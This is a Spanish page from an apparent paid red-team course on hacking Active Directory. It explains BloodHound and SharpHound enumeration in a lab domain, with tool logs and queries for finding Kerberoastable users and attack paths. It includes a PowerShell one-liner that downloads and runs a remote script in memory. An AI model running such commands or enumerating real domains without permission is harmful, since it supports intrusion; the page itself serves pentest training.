Hacking en Active Directory - [CPAD-100]
Comprar cursoYouTubeTwitterLinkedIn
  • La Biblia del Hacking en ACTIVE DIRECTORY
    • ADVERTENCIA
    • Conoce a tu academia
    • Conoce a tu instructor
    • Aprende con nuestro curso
      • ¿Que Significa CPAD-100?
  • Introducción a Directorio Activo – (AD)
    • Fundamentos de AD
    • Componentes importantes de un Active Directory
    • Principales conceptos de un Directorio Activo
      • Diferencias entre GPO y ACL
    • ¿Por qué los atacantes van tras los controladores de dominio?
      • Ransomware en AD
    • Introduccion a Kerberos
      • Capa de transporte
      • Agentes
      • Claves de cifrado
      • Tickets
      • Privilege Attribute Certificate (PAC)
      • Mensajes
    • Proceso de autenticación en Kerberos
      • Kerberos Explicado con Parques y Atracciones
    • ¿Como funciona Kerberos?
    • S4U (Service for User)
    • Usuarios y grupo por defectos en AD
    • Biblia de comandos para el CPAD
  • Fundamentos Ofensivos
    • Introduccion al Curso Profesional de Pentesting para Juniors - [CPPJ]
    • ¿Qué es un Red Team?
      • Assume breach
    • ¿Qué es un Pentesting?
    • Instalacion de Kali Linux
      • Utilizando IP publica para auditorias reales
    • Transferencias de archivos
    • Cyber Kill Chain
    • MITRE
      • Ejemplo teorico
  • Enumeracion Externa
    • Credenciales expuestas
    • La importancia de la enumeracion en un red team
    • Reconocimiento y Recopilacion
    • Activos de informacion publicos
      • DNS records
      • Redes sociales
  • Vectores de ataque fisico
    • Physical Red Team Operations
    • Que es la intrusion fisica
      • Vectores de ataque
    • Rubber Ducky
    • Stuxnet
    • Introduccion a Flipper Zero
      • BadUSB
  • Introduccion Al Hacking Web
    • Tu primer Red Team contra Active Directory
      • Objetivos
      • CyberKillChain en CPAD
    • La importancia del hacking web en un red team contra AD
    • Curso gratuito con los labs de PortSwigger
    • Enumeracion sobre un servidor web desplegado en IIS
    • Inyeccion de comandos desde un formulario web
  • Post-explotacion en windows
    • Fundamentos de la Enumeracion local en un Windows
    • Enumeracion basica desde una WebShell
    • Fundamentos de escalacion de privilegios en Windows
      • ¿Que son altos privilegios en windows?
      • ¿Que son bajos privilegios en windows?
      • Identificando mis privilegios actuales
      • Tokens de acceso en Windows
      • Niveles de integridad en procesos de Windows
    • Privilegios en Windows
    • Abusando de los privilegios SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege
    • Introduccion al Curso Profesional de Pentesting contra Windows - [CPPW]
    • NT AUTHORITY\SYSTEM
    • Reverse Shell en PowerShell Indetectable
      • Introduccion al Curso RedTeam Ops Developer Senior
    • Migracion de WebShell a BurpSuite
    • Migracion de WebShell a Reverse Shell via PowerShell
    • Diferencia entre una WebShell y Reverse Shell
    • Introducción a PowerUp
    • Introducción a WinPEAS
  • Persistencia en Windows Local
    • Introduccion a la post-explotación y persistencia en Windows
    • Creacion de usuarios con net
    • Qué es Mimikatz
      • LSASS
      • Extraccion de credenciales con Mimikatz con binario
      • Extraccion de credenciales con Mimikatz con PowerShell
      • Resolucion de errores con Mimikatz
      • Mimikatz en la actualidad
  • Enumeracion en AD
    • Identificando un Domain Controller (DC) en red
    • ActiveDirectoryRights en el Contexto de Red Team
    • Enumeracion manual con GUI
    • Enumeracion con PowerShell ofensivo
      • Guia de comandos de PowerView.ps1
        • Enumeracion de usuarios
        • Enumeracion de Grupos
        • Enumeracion de Computadores
        • Enumeracion de GPO
        • Enumeracion de ACL
      • Utilizando ADPeas
    • Enumeracion con AD Module DLL
    • Enumeracion con BloodHound
    • Enumeracion con klist
    • Security Identifiers (SIDs)
    • Distinguished Name o DN
  • Vulnerabilidades y ataques en AD
    • Fundamentos de vulnerabilidades en AD
    • Password Spraying
      • La importancia de generar contraseñas personalizadas
      • Kerbrute
    • Relay Attacks
      • ¿Que es NTLM?
      • Utilizando impacket-ntlmrelayx
        • Análisis de impacket-ntlmrelayx
    • Credenciales en descripcion
      • Utilizando CrackMapExec
      • Utilizando BloodHound
    • Kerberoasting
      • Utilizando BloodHound
      • Utilizando Rubeus
      • Utilizando Impacket-GetUserSPNs
      • Utilizando CrackMapExec
      • Utilizando PowerView
    • ASREProastable
      • Utilizando Rubeus
      • Utilizando CrackMapExec
      • Utilizando Impacket-GetNPUsers
      • CVE-2022-33679
    • Unconstrained Delegation
      • TrustedToAuthForDelegation vs TrustedForDelegation
    • Constrained Delegation
      • Usuario
      • Computadora
        • Utilizando Rubeus
    • DnsAdmins
      • Utilizando PowerView.ps1
      • Utilizando NET
      • Cargando una dll maliciosa con dnscmd
      • Generando una DLL maliciosa
    • LAPS Reader
    • (RBCD) Resource-based constrained
    • Abuso de ACL
      • Enumeracion con PowerView
      • Tipos de permisos
        • Tabla de Referencia de Permisos y Derechos en Active Directory
      • Access Control Entry (ACE)
      • WriteDacl sobre Computador
      • GenericAll sobre Grupo
      • GenericAll sobre usuario
      • GenericWrite sobre computador
    • Abuso de GPO
      • ¿Qué es SysVol?
      • Utilizando PowerView
      • Solicitando TGT para el usuario gpowrite.user
      • Utilizando SharpGPOAbuse
      • Forzando la actualizacion de GPO
    • Zerologon - CVE-2020-1472
  • Movimiento lateral
    • Fundamentos de movimiento lateral en AD
    • Impersonation
    • Pass-the-Hash (PtH)
      • Identificando servicios para realizar el PTH
      • Utilizando Evil-WinRm
      • Utilizando impacket-psexec
      • Utilizando RDP
  • Persistencia y post-explotacion en AD
    • Fundamentos de persistencia y la post-explotación en AD
    • DCSync
      • Extracción de Credenciales del Dominio de Active Directory
      • Utilizando CrackMapExec
      • Utilizando Mimikatz
      • Utilizando Impacket-secretsdump
    • Creacion de usuarios en el dominio con net
    • Silver Ticket
      • Service Principal Name (SPN)
      • Silver Ticket para CIFS
    • Golden Ticket
      • Diferencias entre Silver Ticket y Golden Ticket
      • ¿Que es KRBTGT?
      • Variantes del Golden Ticket
        • Golden Ticket tradicional utilizando Mimikatz
        • Golden Ticket Inter-realm TGT
    • Pass The Ticket
      • PTT en Linux
      • PTT en Windows
    • Diamond Ticket
    • Bosques y relaciones de confianza
      • TrustAttributes y TrustType
      • Enumeracion utilizando ADPeas.ps1
      • Enumeracion utilizando nltest
      • Enumeracion utilizando .NET Framework
      • Enumeracion utilizando con PowerView
      • Enumerando con SharpHound
  • Introduccion a la evasion de defensas
    • Fundamentos de evasión de defensas
    • Introduccion a UAC
      • Bypass UAC utilizando FodhelperUACBypass.ps1
      • Bypass utilizando Kerberos y SMBExec
    • Evasión de antivirus
      • Utilizando HoaxShell
    • Introduccion a LOLBAS
    • AMSI para Hackers
    • Utilizando IP publicas y dominios confiables para el almacenamiento de herramientas
    • Codificando tus comandos de PowerShell en base64
      • Transferencia de archivos con base64
    • Política de ejecución de PowerShell
    • Introduccion a Sysinternals
    • Introduccion a AppLocker
    • Apagando defensas basicas
  • Introduccion a ataques modernos en AD
    • Fundamentos de Azure Active Directory
    • DCSync utilizando MSOL
    • Introduccion al Curso de Pentesting Contra Azure - [CPAZ]
  • Introduccion al Blue Team en Active Directory
    • Blue Team y SOC
    • Introduccion al Curso Profesional de Blue Team - [CPBLT]
    • Introduccion a Sysmon
      • Deteccion de comportamiento anomalo con ElasticSearch
  • Muchas Gracias
    • 🛡️ ¡Muchísimas Gracias por Participar! 🛡️
    • Importante
Con tecnología de GitBook
En esta página
  • Identificacion de Doman Admins
  • Identificacion de usuarios Kerberoasteables
  • Identificacion de usuarios AS-REP Roastable
  • Identificacion de vectores de ataque
  • Identificacion de Unsconstrained Delegation
  • Identificacion de usuarios con permisos sobre GPO

¿Te fue útil?

  1. Enumeracion en AD

Enumeracion con BloodHound

AnteriorEnumeracion con AD Module DLLSiguienteEnumeracion con klist

Última actualización hace 1 año

¿Te fue útil?

Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: . ¡Te esperamos para empezar este viaje juntos!

OBJETIVO DEL EJERCICIO #11:

UtilizaADPeas.ps1 y SharpHound.ps1para enumerar el dominio de spartan-cybersec.corp. Para realizarlo es suficiente tener encendido UNICAMENTE WEBSERVER y First-DC.

BloodHound es una herramienta específica diseñada para analizar y visualizar relaciones dentro de Directorio Activo (AD). Se ha convertido en una herramienta crucial en el arsenal de muchos pentesters y atacantes por varias razones:

  1. Visualización de Relaciones: BloodHound utiliza gráficos para mostrar las relaciones entre usuarios, grupos, computadoras y otros componentes en un AD. Estas visualizaciones hacen que sea más fácil para un atacante o pentester entender rápidamente las relaciones complejas y encontrar potenciales caminos de ataque.

  2. Identificación de Caminos de Ataque: Uno de los principales valores de BloodHound es su capacidad para identificar caminos de escalada de privilegios y movimiento lateral. Al alimentar a BloodHound con datos recopilados, la herramienta puede identificar caminos específicos que un atacante puede seguir para escalar privilegios o moverse lateralmente a través de una red.

  3. Automatización: La recopilación manual de detalles sobre las relaciones AD puede ser extremadamente lenta y tediosa. BloodHound, junto con su componente de recopilación de datos llamado SharpHound, automatiza gran parte de este proceso, permitiendo a los pentesters recopilar y analizar datos rápidamente.

  4. Identificación de Vulnerabilidades Comunes: BloodHound también puede identificar patrones comunes que a menudo son vulnerables a la explotación, como configuraciones de delegación inseguras, miembros excesivamente permisivos en grupos de alto privilegio, y usuarios que tienen derechos de sesión local en sistemas críticos.

  5. Capacidades de Análisis Avanzado: Aparte de identificar caminos obvios, BloodHound puede ayudar a identificar relaciones no evidentes que podrían ser explotadas. Por ejemplo, un usuario podría no tener privilegios directos sobre un recurso, pero a través de una serie de relaciones y delegaciones, podría tener una ruta de acceso indirecto.

  6. Capacitación y Conciencia: Para defensores y equipos de seguridad, BloodHound también puede ser una herramienta valiosa. Al visualizar la estructura de permisos y las relaciones dentro de AD, los defensores pueden anticiparse a potenciales vías de ataque y tomar medidas para mitigar los riesgos.

Primero ejecutamos el siguiente comando para inicializar la base de datos:

kali@kali> neo4j console             
Directories in use:
home:         /usr/share/neo4j
config:       /usr/share/neo4j/conf
logs:         /etc/neo4j/logs
plugins:      /usr/share/neo4j/plugins
import:       /usr/share/neo4j/import
data:         /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses:     /usr/share/neo4j/licenses
run:          /var/lib/neo4j/run
Starting Neo4j.
2023-09-29 07:18:18.137+0000 INFO  Starting...
2023-09-29 07:18:19.041+0000 INFO  This instance is ServerId{35cf9386} (35cf9386-d217-443f-89d6-3eac0c57e0bf)
2023-09-29 07:18:22.056+0000 INFO  ======== Neo4j 4.4.16 ========
2023-09-29 07:18:24.383+0000 INFO  Performing postInitialization step for component 'security-users' with version 3 and status CURRENT
2023-09-29 07:18:24.389+0000 INFO  Updating the initial password in component 'security-users'
2023-09-29 07:18:27.611+0000 INFO  Bolt enabled on localhost:7687.
2023-09-29 07:18:29.774+0000 INFO  Remote interface available at http://localhost:7474/
2023-09-29 07:18:29.783+0000 INFO  id: DF67EC052D662B43410905E04F35787198037F96A886BD7B9B4BBD6337685638
2023-09-29 07:18:29.783+0000 INFO  name: system
2023-09-29 07:18:29.783+0000 INFO  creationDate: 2023-09-10T21:48:26.697Z
2023-09-29 07:18:29.783+0000 INFO  Started.

Y luego ejecutamos descargamos BloodHound desde el siguiente repositorio:

Y despues de clonar el repositorio, se procede a ejecutar el siguiente comando:

./BloodHound --no-sandbox

Y esto nos abrira la siguiente ventana:

Para utilizar BloodHound debemos utilizar un colector como SharpHound.

Si utilizamos ADPeas automaticamente tendremos nuestro archivo.zip:

[?] +++++ Searching for Detailed Active Directory Information with BloodHound +++++
2023-09-29T07:16:28.0771518+00:00|INFORMATION|This version of SharpHound is compatible with the 4.2 Release of BloodHound
2023-09-29T07:16:28.1084035+00:00|INFORMATION|Resolved Collection Methods: Group, GPOLocalGroup, Trusts, ACL, Container, ObjectProps
2023-09-29T07:16:28.1240293+00:00|INFORMATION|Initializing SharpHound at 7:16 AM on 9/29/2023
2023-09-29T07:16:28.1552940+00:00|WARNING|Common Library is already initialized
2023-09-29T07:16:28.1709015+00:00|INFORMATION|Flags: Group, GPOLocalGroup, Trusts, ACL, Container, ObjectProps
2023-09-29T07:16:28.2334002+00:00|INFORMATION|Beginning LDAP search for spartancybersec.corp
2023-09-29T07:16:28.2646481+00:00|INFORMATION|Producer has finished, closing LDAP channel
2023-09-29T07:16:28.2802762+00:00|INFORMATION|LDAP channel closed, waiting for consumers
2023-09-29T07:17:13.4153837+00:00|INFORMATION|Status: 38 objects finished (+38 0.8444445)/s -- Using 165 MB RAM
2023-09-29T07:17:13.5263386+00:00|INFORMATION|Consumers finished, closing output channel
2023-09-29T07:17:13.5615949+00:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2023-09-29T07:17:13.6375942+00:00|INFORMATION|Status: 112 objects finished (+60 2.488889)/s -- Using 166 MB RAM
2023-09-29T07:17:13.6375942+00:00|INFORMATION|Enumeration finished in 00:00:45.4144593
2023-09-29T07:17:13.6553472+00:00|INFORMATION|Saving cache with stats: 71 ID to type mappings.
 71 name to SID mappings.
 0 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
2023-09-29T07:17:13.6553472+00:00|INFORMATION|SharpHound Enumeration Completed at 7:17 AM on 9/29/2023! Happy Graphing!

PS C:\Users\Public\TOOLS> dir
    Directory: C:\Users\Public\TOOLS

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/29/2023   7:17 AM          13172 spartancybersec.corp_20230929071713_BloodHound.zip

O tambien podriamos utilizar el siguiente comando:

> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1'); 
> Invoke-BloodHound -CollectionMethod All

Esta herramienta puede ser encontrada en:

Luego de la ejecuccion previa, se obtendra un archivo.zip.

Asegurate de ejecutar estos comandos sobre un directorio en el que tengas acceso de escritura.

Ahora simplemente arrastramos el archivo.zip a BloodHound:

Luego de lo anterior ya podriamos empezar a realizar consultas de analisis.

Identificacion de Doman Admins

En la siguiente evidencia, identificamos los usuarios con privilegios de Domain Admin sobre el dominio:

Identificacion de usuarios Kerberoasteables

Para identificar usuarios vulnerables a Kerberoasting:

Identificacion de usuarios AS-REP Roastable

Para identificar usuarios vulnerables a AS-REP Roastable:

Identificacion de vectores de ataque

Para identificar vectores de ataque que permitan llegar al DC:

Hay unas consultas que te recomiendo instalar en BloodHound:

Identificacion de Unsconstrained Delegation

Despues de instalar estas consultas personalizadas podrias enumerar ataques de unsconstrained:

Identificacion de usuarios con permisos sobre GPO

Identificar objetos o usuarios con permisos sobre GPO:

https://wa.link/j265a0
Releases · BloodHoundAD/BloodHoundGitHub
BloodHound/SharpHound.ps1 at master · BloodHoundAD/BloodHoundGitHub
GitHub - CompassSecurity/BloodHoundQueriesGitHub
Logo
Logo
Logo
Page cover image